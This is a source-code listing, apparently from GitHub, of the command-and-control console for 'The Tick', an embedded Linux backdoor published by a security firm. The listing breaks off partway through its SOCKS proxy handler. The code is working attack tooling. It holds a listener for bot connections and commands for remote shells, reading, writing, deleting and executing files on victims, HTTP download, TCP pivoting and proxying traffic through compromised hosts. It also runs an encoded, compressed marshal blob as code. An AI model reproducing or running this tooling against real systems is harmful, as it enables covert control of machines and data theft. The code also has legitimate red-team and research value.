-
Notifications
You must be signed in to change notification settings - Fork 33
/
tick.py
executable file
·2270 lines (1919 loc) · 84 KB
/
tick.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python2
# -*- coding: utf8 -*-
"""
The Tick, a Linux embedded backdoor.
Released as open source by NCC Group Plc - http://www.nccgroup.com/
Developed by Mario Vilas, [email protected]
http://www.github.com/nccgroup/thetick
See the LICENSE file for further details.
"""
from __future__ import print_function
##############################################################################
# Imports and other module initialization.
# This namespace is pretty cluttered so make sure
# "from tick import *" doesn't make too much of a mess.
__all__ = ["Listener", "Console", "BotError"]
# Standard imports...
import sys
import readline
import os
import os.path
# More standard imports...
from socket import *
from struct import *
from cmd import Cmd
from shlex import split
from threading import Thread, RLock
from traceback import print_exc
from uuid import UUID
from collections import OrderedDict
from argparse import ArgumentParser
from time import sleep
from functools import wraps
from multiprocessing import Process
from subprocess import check_output
# This is our first dependency and we check it now so
# we know if we can use colors to show errors later.
try:
from colorama import *
# Disable colors if requested.
#
# Note that we have do do this here rather than
# when parsing the command line arguments, since
# several error conditions would happen before that.
# or even withing argparse itself.
#
# Unfortunately this also disables all the other nifty
# console tricks we can do with ANSI escapes too. :(
if "--no-color" in sys.argv:
ANSI_ENABLED = False
init(wrap = True, strip = True)
else:
ANSI_ENABLED = True
init()
except ImportError:
print("Missing dependency: colorama")
print(" pip install colorama")
exit(1)
# Adds support for colors to argparse. Very important, yes!
try:
from argparse_color_formatter import ColorHelpFormatter
except ImportError:
print("Missing dependency: " + Style.BRIGHT + Fore.RED + "argparse_color_formatter" + Style.RESET_ALL)
print(Style.BRIGHT + Fore.BLUE + " pip install argparse-color-formatter" + Style.RESET_ALL)
exit(1)
# ASCII art tables. Of course we need this, why do you ask?
try:
from texttable import Texttable
except ImportError:
print("Missing dependency: "+ Style.BRIGHT + Fore.RED + "texttable" + Style.RESET_ALL)
print(Style.BRIGHT + Fore.BLUE + " pip install texttable" + Style.RESET_ALL)
exit(1)
# Yeah it's not pythonic to use asserts like that,
# but an old dog don't learn new tricks, y'know.
# And also, to be fair, CPython's idea of "optimization"
# breaks too many things anyway, so let's prevent that too.
try:
assert False
print("Running with assertions disabled is a " + Style.BRIGHT + Fore.RED + "TERRIBLE IDEA" + Style.RESET_ALL, end=' ')
if ANSI_ENABLED:
print(" \xf0\x9f\x98\xa0") # angry face emoji
else:
print()
print("Please don't do that ever again...")
exit(1)
except AssertionError:
pass
##############################################################################
# Some good old blobs. Nothing says "trust this code and run it" like blobs.
# Boring banner :(
BORING_BANNER = """
ICAbWzMybRtbMW3ilZTilabilZcbWzIybeKUrCDilKzilIzilIDilJAgIBtbMW3ilZTilabilZcb
WzIybeKUrOKUjOKUgOKUkOKUrOKUjOKUgBtbMG0KICAbWzMybRtbMW0g4pWRIBtbMjJt4pSc4pSA
4pSk4pSc4pSkICAgG1sxbSDilZEgG1syMm3ilILilIIgIOKUnOKUtOKUkBtbMG0KICAbWzMybRtb
MW0g4pWpIBtbMjJt4pS0IOKUtOKUlOKUgOKUmCAgG1sxbSDilakgG1syMm3ilLTilJTilIDilJji
lLQg4pS0G1swbQo=
""".decode("base64")
# Fun banner :)
FUN_BANNER = """
ChtbMzFtG1sxbeKWhOKWhOKWhOKWiOKWiOKWiOKWiOKWiBtbMjJt4paTIBtbMW3ilojilogbWzIy
beKWkSAbWzFt4paI4paIG1syMm0g4paTG1sxbeKWiOKWiOKWiOKWiOKWiCAgICDiloTiloTiloTi
lojilojilojilojilogbWzIybeKWkyAbWzFt4paI4paIG1syMm3ilpMgG1sxbeKWhOKWiOKWiOKW
iOKWiOKWhCAgIOKWiOKWiCDiloTilojiloAbWzIybQobWzIybeKWkyAgG1sxbeKWiOKWiBtbMjJt
4paSIOKWk+KWkuKWkxtbMW3ilojilogbWzIybeKWkSAbWzFt4paI4paIG1syMm3ilpLilpMbWzFt
4paIG1syMm0gICAbWzFt4paAG1syMm0gICAg4paTICAbWzFt4paI4paIG1syMm3ilpIg4paT4paS
4paTG1sxbeKWiOKWiBtbMjJt4paS4paSG1sxbeKWiOKWiOKWgCDiloDiloggICDilojilojiloTi
logbWzIybeKWkiAbWzIybQobWzIybeKWkiDilpMbWzFt4paI4paIG1syMm3ilpEg4paS4paR4paS
G1sxbeKWiOKWiOKWgOKWgOKWiOKWiBtbMjJt4paR4paSG1sxbeKWiOKWiOKWiBtbMjJtICAgICAg
4paSIOKWkxtbMW3ilojilogbWzIybeKWkSDilpLilpHilpIbWzFt4paI4paIG1syMm3ilpLilpIb
WzFt4paT4paIICAgIOKWhCDilpPilojilojilojiloQbWzIybeKWkSAbWzIybQobWzIybeKWkSDi
lpMbWzFt4paI4paIG1syMm3ilpMg4paRIOKWkRtbMW3ilpPilogbWzIybSDilpEbWzFt4paI4paI
G1syMm0g4paS4paTG1sxbeKWiCAg4paEG1syMm0gICAg4paRIOKWkxtbMW3ilojilogbWzIybeKW
kyDilpEg4paRG1sxbeKWiOKWiBtbMjJt4paR4paSG1sxbeKWk+KWk+KWhCDiloTilojilojilpLi
lpMbWzFt4paI4paIIOKWiOKWhCAbWzIybQobWzIybSAg4paS4paIG1sxbeKWiBtbMjJt4paSIOKW
kSDilpEbWzFt4paT4paI4paSG1syMm3ilpHilogbWzFt4paIG1syMm3ilpPilpHilpIbWzFt4paI
4paI4paI4paIG1syMm3ilpIgICAgIOKWkuKWiBtbMW3ilogbWzIybeKWkiDilpEg4paRG1sxbeKW
iOKWiBtbMjJt4paR4paSIBtbMW3ilpPilojilojilojiloAbWzIybSDilpHilpLilogbWzFt4paI
G1syMm3ilpIgG1sxbeKWiOKWhBtbMjJtChtbMjJtICDilpIg4paR4paRICAgIBtbMW3ilpIbWzIy
bSDilpHilpEbWzFt4paS4paR4paSG1syMm3ilpHilpEg4paS4paRIOKWkSAgICAg4paSIOKWkeKW
kSAgIOKWkRtbMW3ilpMbWzIybSAg4paRIOKWkeKWkiDilpIgIOKWkeKWkiDilpLilpIgG1sxbeKW
kxtbMjJt4paSG1syMm0KG1syMm0gICAg4paRICAgICDilpIg4paR4paS4paRIOKWkSDilpEg4paR
ICDilpEgICAgICAg4paRICAgICDilpIg4paRICDilpEgIOKWkiAgIOKWkSDilpHilpIg4paS4paR
G1syMm0KG1syMm0gIOKWkSAgICAgICAbWzJt4paRG1syMm0gIOKWkeKWkSDilpEgICAbWzJt4paR
G1syMm0gICAgICAgIOKWkSAgICAgICDilpIg4paR4paRICAgICAgICAbWzJt4paRG1syMm0g4paR
4paRIBtbMm3ilpEbWzIybSAbWzIybQobWzJtICAgICAgICAgIOKWkSAg4paRICDilpEgICDilpEg
IOKWkSAgICAgICAgICAgICDilpEgIBtbMjJt4paRG1sybSDilpEgICAgICDilpEgIOKWkSAgIBtb
MjJtChtbMm0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg4paRICAgICAg
ICAgICAgICAgG1syMm0KG1swbQ==
""".decode("base64")
# This is a cute Easter Egg for those of you who read the source code. ;)
# For the extra paranoid out there: you can just remove this blob, nothing
# will break. Make sure to wear your favorite tinfoil hat when you do it!
play = """
eNrtXelz20h2b1C3LHtmMqO1Xd44KFseaCi6bdkznsNlxxyJtrgjkw5Fr8acpFQUAVmwSFADQGNr
yvo0ld2dSr7nX0g+JFX5tv9Ars2dbO772hybZHN937zXAEFRJEiAAEWQakgEG83uX78+X+N193sl
AtcofMbg8wp8jJ+BmywQmZAyIV/Gam6BfOn4x8iX4IgRc4RsCeSbhHwT7jGyNULkEfINQr4g5MlB
jHx+i+xfJC9j5NkoeQBf4H0wQl6OkGdj6BbWtdfIqDlOdqaJ/jkRBEETyMfrkIAd5WNwrs0jcRn1
h3CZE+jcL2qlolki9nUPPjGke1EgRCGkwEgsAN3/TApA0L+QwiiR/5UUxoj8b6QwTuTvk8IEkf+d
FCaJ/B+kMEXk/ySFaSL/gBROEfm/SGGGyP9NCqeJ/D+kcIaoZ4j8q0T+NXJL/nUi/wZ8fYfIvwlf
v0Xk34av3yHy78LX7xH59+HrD4j8h/D1XSL/EXz9MZH/BL7+lMh/Bl9/TuS/gK+/JPJfwddfE/lv
rOh/S24VXiHy35HCq0T+ezJaeI0UfoQoI0QZJcoYUcaJMkGUSaJMEWWaKKeIMkOU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, zlib
play = play.decode("base64")
play = zlib.decompress(play)
play = marshal.loads(play) # I know many of you will
play = types.FunctionType(play, globals(), "play") # go "yikes" now xD
except Exception:
del play # no easter egg for you, sorry :(
print_exc()
#del play # uncomment to disable
##############################################################################
# Custom TCP protocol definitions and helper functions.
# Base command IDs per category.
BASE_CMD_SYSTEM = 0x0000
BASE_CMD_FILE = 0x0100
BASE_CMD_NET = 0x0200
# No operation command.
CMD_NOP = 0xFFFF
# System commands.
CMD_SYSTEM_EXIT = BASE_CMD_SYSTEM + 0
CMD_SYSTEM_FORK = BASE_CMD_SYSTEM + 1
CMD_SYSTEM_SHELL = BASE_CMD_SYSTEM + 2
# File I/O commands.
CMD_FILE_READ = BASE_CMD_FILE + 0
CMD_FILE_WRITE = BASE_CMD_FILE + 1
CMD_FILE_DELETE = BASE_CMD_FILE + 2
CMD_FILE_EXEC = BASE_CMD_FILE + 3
CMD_FILE_CHMOD = BASE_CMD_FILE + 4
# Network commands.
CMD_HTTP_DOWNLOAD = BASE_CMD_NET + 0
CMD_DNS_RESOLVE = BASE_CMD_NET + 1
CMD_TCP_PIVOT = BASE_CMD_NET + 2
# Response codes.
CMD_STATUS_OK = 0x00
CMD_STATUS_ERROR = 0xFF
# TCP pivot structure for IPv4.
# typedef struct // (all values below in network byte order)
# {
# uint32_t ip; // IP address to connect to
# uint16_t port; // TCP port to connect to
# uint16_t from_port; // Optional TCP port to connect from
# } CMD_TCP_PIVOT_ARGS;
def build_pivot_struct(ip, port, from_port = 0):
return inet_aton(ip) + pack("!HH", port, from_port)
# Command header.
# typedef struct
# {
# uint16_t cmd_id; // Command ID, one of the CMD_* constants
# uint16_t cmd_len; // Small data size, to be read in memory while parsing
# uint32_t data_len; // Big data size, to be read by command implementations
# } CMD_HEADER;
# Build the command header structure.
def build_command(cmd_id, cmd = "", data = ""):
cmd_len = len(cmd)
try:
data_len = len(data)
except TypeError:
data_len = data
data = ""
return pack("!HHL", cmd_id, cmd_len, data_len) + cmd + data
# Response header.
# typedef struct
# {
# uint8_t status; // Status code (OK or error)
# uint32_t data_len; // Big data size
# } RESP_HEADER;
# Get only the response header from the socket.
# Data following the header must be read separately.
def get_resp_header(sock):
status = sock.recv(1)
data_len = sock.recv(4)
if status == "" or data_len == "":
raise BotError("disconnected")
status, data_len = unpack("!BL", status + data_len)
if status == CMD_STATUS_ERROR:
if data_len > 0:
msg = recvall(sock, data_len)
if len(msg) != data_len:
raise BotError("disconnected")
raise BotError(msg)
return data_len
# Skip bytes coming from the bot we don't actually need to read.
def skip_bytes(sock, count):
while count > 0:
bytes = len(sock.recv(count))
if bytes == 0:
raise BotError("disconnected")
count = count - bytes
# Get the response header and ignore the response data.
# We'll use this for commands that don't require a response;
# that way even if the bot sends data we don't expect, the
# protocol won't break. Future compatibility FTW :)
def get_resp_no_data(sock):
data_len = get_resp_header(sock)
skip_bytes(sock, data_len)
# Read a fixed size block of data from a socket.
# Caller must ensure to check for errors.
def recvall(sock, count):
buffer = ""
while len(buffer) < count:
tmp = sock.recv(min(65536, count - len(buffer)))
if not tmp:
break
buffer = buffer + tmp
return buffer
# Get the response header and the data, all together.
# We'll use this only for responses we assume have a reasonable
# amount of response data. TODO: perhaps make sure this is
# the case somehow - not too worried about this anyway.
def get_resp_with_data(sock):
data_len = get_resp_header(sock)
data = recvall(sock, data_len)
if len(data) != data_len:
raise BotError("disconnected")
return data
# Copy a fixed amount of bytes from one file descriptor to another.
# If the data runs out before the operation is over, we fail silently.
# TODO: it'd be best to handle this error case too, but we must review
# how to do it specifically for each case.
def copy_stream(src, dst, count):
while count > 0:
buffer = src.read(min(65536, count))
if not buffer:
break
count = count - len(buffer)
dst.write(buffer)
##############################################################################
# C&C server over a custom TCP protocol.
# This class is exported by the module so we can
# have C&C servers decoupled from the console UI.
# Well, in theory. One day. We'll see.
class Listener(Thread):
"Listener C&C for The Tick bots."
def __init__(self, callback, bind_addr = "0.0.0.0", port = 5555):
# True when running, False when shutting down.
self.alive = False
# Callback to be invoked every time a new bot connects.
# The callback will receive two arguments, the listener
# itself and the bot that just connected.
self.callback = callback
# Bind address and port.
self.bind_addr = bind_addr
self.port = port
# Listening socket.
self.listen_sock = None
# Ordered dictionary with the bots that connected.
# It will become apparent why we're using an ordered dict
# instead of a regular dict once you read the source code
# to the Console class.
self.bots = OrderedDict()
# Call the parent class constructor.
super(Listener, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# Context manager to ensure all the sockets are closed on exit.
# The bind and listen code is here to make sure its use is mandatory.
def __enter__(self):
self.listen_sock = socket()
self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.listen_sock.bind((self.bind_addr, self.port))
self.listen_sock.listen(5)
return self
# Context manager to ensure all the sockets are closed on exit,
# the "running" flag is set to False, and the "bots" dictionary
# is cleared.
def __exit__(self, *args):
self.alive = False
try:
self.listen_sock.shutdown(2)
except Exception:
pass
try:
self.listen_sock.close()
except Exception:
pass
self.listen_sock = None
for bot in self.bots.values():
try:
bot.sock.shutdown(2)
except Exception:
pass
try:
bot.sock.close()
except Exception:
pass
self.bots.clear()
# This method is invoked in a background thread.
# It receives incoming bot connetions and invokes the callback.
def run(self):
# Sanity check.
assert not self.alive
# We are running now! Yay! \o/
self.alive = True
# Use the context manager to ensure all resources are freed.
with self:
# Loop until we are signaled to stop.
while self.alive:
try:
# Accept an incoming bot connection.
# This is a blocking call and the background
# thread will spend most of the time stuck here.
sock, from_addr = self.listen_sock.accept()
try:
# Uh-oh, someone asked us to stop, so quit now.
if not self.alive:
try:
sock.shutdown(2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
break
# The first 16 bytes that come from the socket
# must be the bot UUID value. This value is
# generated randomly by the bot when starting up.
# It DOES NOT identify the target machine, but
# rather the bot instance, so multiple instances
# on the same machine will have different UUIDs.
uuid = recvall(sock, 16)
if len(uuid) != 16:
continue
uuid = str(UUID(bytes = uuid))
# Instance a Bot object for this new connection.
bot = Bot(sock, uuid, from_addr)
# Keep it in the ordered dictionary. This means
# the dictionary will remember the order in which
# the bots connected. This is useful for the Console
# class later on.
self.bots[uuid] = bot
# On error make sure to destroy the accepted socket.
except:
try:
sock.shutdown(2)
except Exception:
pass
try:
sock.close()
except Exception:
pass
raise
# Invoke the callback function to notify
# a new bot has connected to the C&C.
try:
self.callback(self, bot)
except Exception:
print_exc()
# Print exceptions and continue running.
# TODO maybe use the console notifications for this?
except Exception:
print_exc()
# The accept() call is a bit particular in Python,
# we can't just close the socket and call it a day.
# This resulted in stubborn listener threads who simply
# refused to die... extreme measures had to be taken. ;)
def kill(self):
"Forcefully kill the background thread."
# Trivial case.
if not self.alive:
return
# Set the flag to false so the thread
# knows we are asking it to quit.
self.alive = False
# Connect briefly to the listnening port.
# This will "wake up" the thread stuck
# in the blocking socket accept() call.
s = socket()
try:
s.connect(("127.0.0.1", self.port))
finally:
s.close()
##############################################################################
# How to talk to connected bots.
# Class for all bot related exceptions.
class BotError(RuntimeError):
"The Tick bot error message."
# This decorator will do some basic checks on bot actions.
# It also catches some error conditions such as the bot being disconnected
# or the user canceling the operation with Control+C.
def bot_action(method):
@wraps(method)
def wrapper(self, *args, **kwds):
assert self.alive
try:
return method(self, *args, **kwds)
except KeyboardInterrupt:
self.alive = False
try:
self.sock.shutdown(2)
except:
pass
try:
self.sock.close()
except:
pass
raise BotError("disconnected")
except BotError as e:
if str(e) == "disconnected":
self.alive = False
raise
return wrapper
# This class is not exported because I don't see a real reason
# for a user of this module to manually instance Bot objects.
class Bot(object):
"The Tick bot instance."
def __init__(self, sock, uuid, from_addr):
# True if we can send commands to this instance, False otherwise.
# False could either mean the bot is dead or the socket is being
# used for something else, since some commands reuse the C&C socket.
self.alive = True
# The C&C socket to talk to this bot.
self.sock = sock
# The UUID for this bot instance.
# See Listener.run() for more details.
self.uuid = uuid
# IP address and remote port where the connection came from.
#
# The IP address may not be correct if the bot is behind a NAT.
# You can run the file_exec command to figure out the real IP.
# Use your imagination. ;)
#
# The port is not terribly useful right now, but when we add
# support for having the bot listen on a port rather than
# connect to us, this may come in handy.
self.from_addr = from_addr
# Useful for debugging.
def __repr__(self):
return "<Bot uuid=%s ip=%s port=%d connected=%s>" % (
self.uuid, self.from_addr[0], self.from_addr[1],
"yes" if self.alive else "no"
)
#
# The remainder of this class are the supported commands.
# The code is pretty straightforward so I did not comment it.
#
@bot_action
def system_exit(self):
self.sock.sendall( build_command(CMD_SYSTEM_EXIT) )
get_resp_no_data(self.sock)
self.alive = False
@bot_action
def system_fork(self):
self.sock.sendall( build_command(CMD_SYSTEM_FORK) )
return str( UUID( bytes = get_resp_with_data(self.sock) ) )
@bot_action
def system_shell(self):
self.sock.sendall( build_command(CMD_SYSTEM_SHELL) )
get_resp_no_data(self.sock)
self.alive = False
return self.sock
@bot_action
def file_read(self, remote_file, local_file):
self.sock.sendall( build_command(CMD_FILE_READ, remote_file) )
data_len = get_resp_header(self.sock)
with open(local_file, "wb") as fd:
copy_stream(self.sock.makefile(), fd, data_len)
@bot_action
def file_write(self, local_file, remote_file):
with open(local_file, "rb") as fd:
fd.seek(0, 2)
file_size = fd.tell()
fd.seek(0, 0)
self.sock.sendall( build_command(CMD_FILE_WRITE, remote_file, file_size) )
copy_stream(fd, self.sock.makefile(), file_size)
get_resp_no_data(self.sock)
@bot_action
def file_delete(self, remote_file):
self.sock.sendall( build_command(CMD_FILE_DELETE, remote_file) )
get_resp_no_data(self.sock)
@bot_action
def file_exec(self, command_line):
self.sock.sendall( build_command(CMD_FILE_EXEC, command_line) )
return get_resp_with_data(self.sock)
@bot_action
def file_chmod(self, remote_file, mode_flags = 0o777):
self.sock.sendall( build_command(CMD_FILE_CHMOD, pack("!H", mode_flags) + remote_file) )
get_resp_no_data(self.sock)
@bot_action
def http_download(self, url, remote_file):
self.sock.sendall( build_command(CMD_HTTP_DOWNLOAD, url, remote_file) )
get_resp_no_data(self.sock)
@bot_action
def dns_resolve(self, domain):
self.sock.sendall( build_command(CMD_DNS_RESOLVE, domain) )
response = get_resp_with_data(self.sock)
##print " ".join("%02x" % ord(x) for x in response) # XXX DEBUG
answer = []
while response:
family, = unpack("!B", response[0])
if family == AF_INET:
addr = response[1:5]
response = response[5:]
elif family == AF_INET6:
addr = response[1:17]
response = response[17:]
else:
raise AssertionError()
answer.append(inet_ntop(family, addr))
return answer
@bot_action
def tcp_pivot(self, address, port):
self.sock.sendall( build_command(CMD_TCP_PIVOT, build_pivot_struct(address, port)) )
get_resp_no_data(self.sock)
self.alive = False
return self.sock
##############################################################################
# Various background daemons for the console UI.
# Daemon for remote shells.
class RemoteShell(Thread):
def __init__(self, sock):
# Socket connected to a remote shell.
self.sock = sock
# Flag we'll use to tell the background thread to stop.
self.alive = True
# Call the parent class constructor.
super(RemoteShell, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# This method is invoked in a background thread.
# It forwards everything coming from the remote shell to standard output.
def run(self):
try:
while self.alive:
buffer = self.sock.recv(1024)
if not buffer:
break
sys.stdout.write(buffer)
except:
pass
finally:
try:
self.sock.shutdown(2)
except Exception:
pass
try:
self.sock.close()
except Exception:
pass
# This method is invoked from the main thread.
# It forwards everything from standard input to the remote shell.
# It launches the background thread and kills it before returning.
# Control+C is caught within this function, which causes the
# remote shell to be stopped without killing the console.
def run_parent(self):
self.start()
try:
while self.alive:
buffer = sys.stdin.readline()
if not buffer:
break
self.sock.sendall(buffer)
except: # DO NOT change this bare except: line
pass # I don't care what PEP8 has to say :P
finally:
self.alive = False
try:
self.sock.shutdown(2)
except Exception:
pass
try:
self.sock.close()
except Exception:
pass
self.join()
# Pivoting daemon.
class TCPForward(Thread):
def __init__(self, src_sock, dst_sock):
# Keep the source and destination sockets.
# This class only forwards in one direction,
# so you have to instance it twice and swap
# the source and destination sockets.
self.src_sock = src_sock
self.dst_sock = dst_sock
# Flag we'll use to tell the background thread to stop.
self.alive = False
# Call the parent class constructor.
super(TCPForward, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# This method is invoked in a background thread.
# It forwards everything from the source socket
# into the destination socket. If either socket
# dies the other is closed and the thread dies.
def run(self):
self.alive = True
try:
while self.alive:
buffer = self.src_sock.recv(65535)
if not buffer:
break
self.dst_sock.sendall(buffer)
except:
pass
finally:
self.kill()
# Forcefully kill the background thread.
# This one is easier than the others. :)
def kill(self):
if not self.alive:
return
self.alive = False
try:
self.src_sock.shutdown(2)
except Exception:
pass
try:
self.src_sock.close()
except Exception:
pass
try:
self.dst_sock.shutdown(2)
except Exception:
pass
try:
self.dst_sock.close()
except Exception:
pass
# SOCKS proxy daemon.
class SOCKSProxy(Thread):
def __init__(self, listener, uuid, bind_addr = "127.0.0.1", port = 1080, username = "", password = ""):
# The listener that requested to proxy through a bot.
self.listener = listener
# The UUID of the bot we'll use to route proxy requests.
self.uuid = uuid
# The address to bind to when listening for SOCKS requests.
# Normally 0.0.0.0 for a shared proxy, 127.0.0.1 for private.
self.bind_addr = bind_addr
# The port to listen to for incoming SOCKS proxy requests.
self.port = port
# Optional username and password for the SOCKS proxy.
self.username = username
self.password = password
if (username or password) and not (username and password):
raise ValueError("Must specify both username and password or neither")
# Flag we'll use to tell the background thread to stop.
self.alive = False
# Listening socket for incoming SOCKS proxy requests.
# Will be created and destroyed inside the run() method.
self.listen_sock = None
# This is where we'll keep all the TCP forwarders.
self.bouncers = []
# Call the parent class constructor.
super(SOCKSProxy, self).__init__()
# Set the thread as a daemon so way when the
# main thread dies, this thread will die too.
self.daemon = True
# This method is invoked in a background thread.
def run(self):
# It's aliiiiiiive! \o/
self.alive = True
try:
# Listen on the specified port.
self.listen_sock = socket()
self.listen_sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
self.listen_sock.bind((self.bind_addr, self.port))
self.listen_sock.listen(5)
# Loop until they ask us to stop.
while self.alive:
# Accept incoming connections.
# TODO add a console notification here?
accept_sock = self.listen_sock.accept()[0]
# Serve each request one by one.
# This is a bit crappy because, in theory, someone could
# connect a socket here and just wait, blocking the whole
# thing. But I don't think we should worry about that.
# Normal requests won't block because we'll spawn a thread
# for each once the tunnel has been established.
# On error, destroy the socket.
try:
self.serve_socks_request(accept_sock)
except:
try:
accept_sock.shutdown(2)
except Exception:
pass
try:
accept_sock.close()
except Exception:
pass
if self.alive:
#print_exc() # XXX DEBUG
continue
raise
# Kill the proxy on error.
except Exception:
#if self.alive:
# print_exc() # XXX DEBUG
# try:
# self.kill()
# except Exception:
# print_exc() # XXX DEBUG
#else:
try:
self.kill()
except Exception:
pass
# Make sure to clean up on exit.
finally:
# Not alive anymore. :sadface:
self.alive = False
# Destroy the listening socket.
try:
self.listen_sock.shutdown(2)
except Exception:
pass
try:
self.listen_sock.close()
except Exception:
pass
# Process each SOCKS proxy request.
# This method runs in a background thread and may spawn more threads.
# Caller is assumed to destroy the socket after the call.
def serve_socks_request(self, sock):
# This blog post helped me a lot :)
# https://rushter.com/blog/python-socks-server/
# First header is the version and acceptable auth methods.
# We only support SOCKS 5 and will ignore the auth. :P
request = recvall(sock, 2)
if len(request) != 2:
return # fail silently
version, num_auth = unpack("!BB", request)
if version != 5:
return # prevents easy fingerprinting
#sock.sendall(pack("!BB", 5, 0xff))
#raise RuntimeError("Bad SOCKS client")
methods = recvall(sock, num_auth)
# If we have a username and password, ask for them.
# If we don't then just let them it. :)
# If the client insists on giving us a password
# anyway, just accept anything they send us.
# TODO perhaps notify the console when this happens?
if (self.username and self.password) or "\x00" not in methods:
sock.sendall(pack("!BB", 5, 2))
request = recvall(sock, 2)
if not request:
return # fail silently
version, ulen = unpack("!BB", request)
assert version == 1
uname = recvall(sock, ulen)
plen, = unpack("!B", recvall(sock, 1))
passwd = recvall(sock, ulen)